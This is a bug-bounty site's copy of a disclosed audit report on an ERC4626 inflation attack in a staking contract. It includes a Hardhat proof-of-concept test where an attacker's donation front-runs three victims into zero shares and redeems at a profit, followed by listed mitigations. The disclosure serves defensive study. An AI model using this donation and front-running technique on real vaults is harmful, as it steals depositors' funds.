Skip to content
Smart contracts Audit finding Intermediate

Erc4626 inflation bug in staking contract

The Staking contract inherits ERC4626 and is vulnerable to an inflation attack when no shares have been minted. An attacker can deposit a tiny amount, donate a large amount directly to the vault, and then front-run victim deposits so they receive zero shares, allowing the attacker to later redeem for a profit.

Divine_Dragon Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

57716 sc critical erc4626 inflation bug in staking contract

Submitted on Oct 28th 2025 at 11:59:22 UTC by @Divine_Dragon for Audit Comp | Belong

Description

Brief / Intro

Staking contract inherits ERC4626, which by default has an inflation attack vulnerability for freshly deployed vaults with zero minted shares upon deployment.

Vulnerability Details

An attacker can manipulate the asset-to-share ratio by directly transferring assets to the vault (funding the contract) instead of using the deposit function. The typical attack scenario is shown below.

{% stepper %} {% step %}

Attack Setup / Intuition

  • The vault starts with virtual shares/assets behavior (e.g., initial minted shares may be zero).
  • If an attacker first mints a tiny number of shares (e.g., deposit 1 asset => 1 share) and then donates a large amount of assets directly to the vault (no shares minted for that donation), the asset/share ratio is skewed.
  • Subsequent honest deposits (victims) can be frontrun such that they receive zero or very few shares for large asset deposits due to rounding and virtual-share behavior.
  • The attacker, holding real shares from the initial tiny deposit, can later redeem for a disproportionate amount of assets and eventually profit after repeating the pattern across multiple victims. {% endstep %}

{% step %}

Example Numerical Flow

  • Attacker deposits 1 asset:
    • Attacker shares = 1
    • total shares = 2 (because of virtual shares)
    • total assets = 2 (because of virtual assets)
  • Victim intends to deposit 5000, but attacker frontruns by donating assets:
    • Attacker donates 10000 directly to vault (no shares minted)
    • total assets = 10002
    • total shares still = 2 (1 real + 1 virtual)
  • Victim deposits 5000:
    • shares allotted ≈ 2 * 5000 / 10002 ≈ 0 (due to integer rounding / virtual share behavior)
    • victim gets 0 shares, attacker remains with 1 share representing a larger portion of total assets
  • After multiple victims, attacker redeems their 1 share and captures a large portion of the pooled assets, turning the initial apparent loss into profit. {% endstep %} {% endstepper %}

Impact Details

For the attack to succeed, these conditions must be met:

  • The deployed staking contract should not have minted any real shares previously (from the provided script, no initial minting occurred).
  • No other user should stake more than (donated / 2) amount of assets to the vault.

Because of the above two conditions, the Severity was marked as Medium in the original assessment; however, this report is labeled Critical due to direct theft potential.

Proof of Concept

<details> <summary>Click to expand the PoC test case and test output</summary>

Include the below test case in staking.test.ts:

    it('BUG-1: ERC4626 inflation attack - multi-victim frontrun turns initial loss into profit', async () => {
      const { staking, long, admin, user1: attacker, user2: victim1 } = await loadFixture(fixture);

      // Additional victims (grab extra signers)
      const signers = await ethers.getSigners();
      const victim2 = signers[7];
      const victim3 = signers[8];

      const oneUnit = ethers.BigNumber.from('1');
      const donationAmount = ethers.utils.parseEther('10000');
      const victimDepositAmount = ethers.utils.parseEther('5000');

      // Step 1: Attacker deposits 1 unit to get 1 share
      await long.connect(admin).transfer(attacker.address, oneUnit.add(donationAmount));
      await long.connect(attacker).approve(staking.address, oneUnit.add(donationAmount));
      await staking.connect(attacker).deposit(oneUnit, attacker.address);
      expect(await staking.balanceOf(attacker.address)).to.eq(oneUnit);
      expect(await staking.totalSupply()).to.eq(oneUnit);

      // Step 2: Attacker donates 10000 LONG directly to the vault (no shares minted)
      await long.connect(attacker).transfer(staking.address, donationAmount);

      // Step 3: Victim 1 deposits 5000 LONG -> receives 0 shares due to virtual shares rounding
      await long.connect(admin).transfer(victim1.address, victimDepositAmount);
      await long.connect(victim1).approve(staking.address, victimDepositAmount);
      await staking.connect(victim1).deposit(victimDepositAmount, victim1.address);
      expect(await staking.balanceOf(victim1.address)).to.eq(0);

      // Step 4: Victim 2 deposits 5000 LONG -> receives 0 shares
      await long.connect(admin).transfer(victim2.address, victimDepositAmount);
      await long.connect(victim2).approve(staking.address, victimDepositAmount);
      await staking.connect(victim2).deposit(victimDepositAmount, victim2.address);
      expect(await staking.balanceOf(victim2.address)).to.eq(0);

      // Step 5: Victim 3 deposits 5000 LONG -> receives 0 shares
      await long.connect(admin).transfer(victim3.address, victimDepositAmount);
      await long.connect(victim3).approve(staking.address, victimDepositAmount);
      await staking.connect(victim3).deposit(victimDepositAmount, victim3.address);
      expect(await staking.balanceOf(victim3.address)).to.eq(0);

      // Step 6: After min stake period, attacker redeems
      await staking.connect(admin).setMinStakePeriod(1);

      const attackerShares = await staking.balanceOf(attacker.address);
      const attackerPreviewAssets = await staking.previewRedeem(attackerShares);
      // Expected ~12,501 LONG: (totalAssets 1 + 10000 + 5000*3 + 1 virtual) / (1 real share + 1 virtual)
      expect(attackerPreviewAssets).to.be.gt(ethers.utils.parseEther('12499'));
      expect(attackerPreviewAssets).to.be.lt(ethers.utils.parseEther('12502'));

      const attackerInitialSpent = oneUnit.add(donationAmount); // 10001
      const beforeRedeemBal = await long.balanceOf(attacker.address);
      const tx = await staking.connect(attacker).redeem(attackerShares, attacker.address, attacker.address);
      await expect(tx)
        .to.emit(staking, 'Withdraw')
        .withArgs(attacker.address, attacker.address, attacker.address, attackerPreviewAssets, attackerShares);

      const attackerFinalBalance = await long.balanceOf(attacker.address);
      const attackerNet = attackerFinalBalance.add(beforeRedeemBal).sub(attackerInitialSpent);
      console.log("Attafker Profit - ", attackerNet);
      // Attacker turns initial loss into profit after 3 victims
      expect(attackerNet).to.be.gt(0);
    });

Upon running the above test case, the following result was obtained:

$ npx hardhat test test/v2/platform/staking.test.ts --grep "BUG-1"

secp256k1 unavailable, reverting to browser version

  Staking
    Bug reproductions
Warning: Potentially unsafe deployment of contracts/v2/periphery/Staking.sol:Staking

    You are using the `unsafeAllow.constructor` flag.

Attafker Profit -  2500e18
      ✔ BUG-1: ERC4626 inflation attack - multi-victim frontrun turns initial loss into profit (1471ms)

  1 passing (1s)
</details>

Notes / Recommendations (from original context)

  • The root cause is ERC4626 vault behavior when shares are zero on deployment and direct transfers to the vault change assets without minting shares.
  • Typical mitigations include ensuring initial share/asset handling is safe, preventing direct asset transfers from affecting share ratios (e.g., blocking transfers to the vault address, accounting for direct transfers in deposit/withdraw logic, or initializing the vault with proper initial shares/assets), and/or adding explicit checks to prevent deposits that would result in zero shares being minted to the depositor.

(End of report)

The original report as published on Immunefi, by Divine_Dragon. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the ERC4626 vault does not handle the initial share/asset ratio safely, allowing direct token transfers to inflate the share price and cause later depositors to receive zero shares due to rounding.

Impact

An attacker could steal funds from multiple depositors by front-running their deposits and later redeeming inflated shares for profit, but the attack requires that no shares were previously minted and that no single user stakes more than half the donated amount.

What the attacker needed

No shares previously minted; No user stakes more than donated/2; Attacker can front-run victim deposits

The fix

The vault should be initialised with proper initial shares/assets, block direct transfers to the vault address, or add checks to prevent deposits that would mint zero shares.

How it was found

  1. Attacker deposits 1 unit to get 1 share.
  2. Attacker donates 10000 tokens directly to the vault without minting shares.
  3. Victim deposits 5000 tokens and receives 0 shares due to rounding.
  4. Repeat with more victims.
  5. After the minimum stake period, attacker redeems their 1 share for a profit.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a smart contract that lets people deposit tokens and get shares in return. An attacker can make the first small deposit, then send a large amount of tokens directly to the contract without getting shares. This makes each share worth a lot, so when other people deposit, they get almost no shares because of rounding. The attacker then takes their share and gets more tokens than they put in.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by Divine_Dragon

View all

1 more disclosed report, best first.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.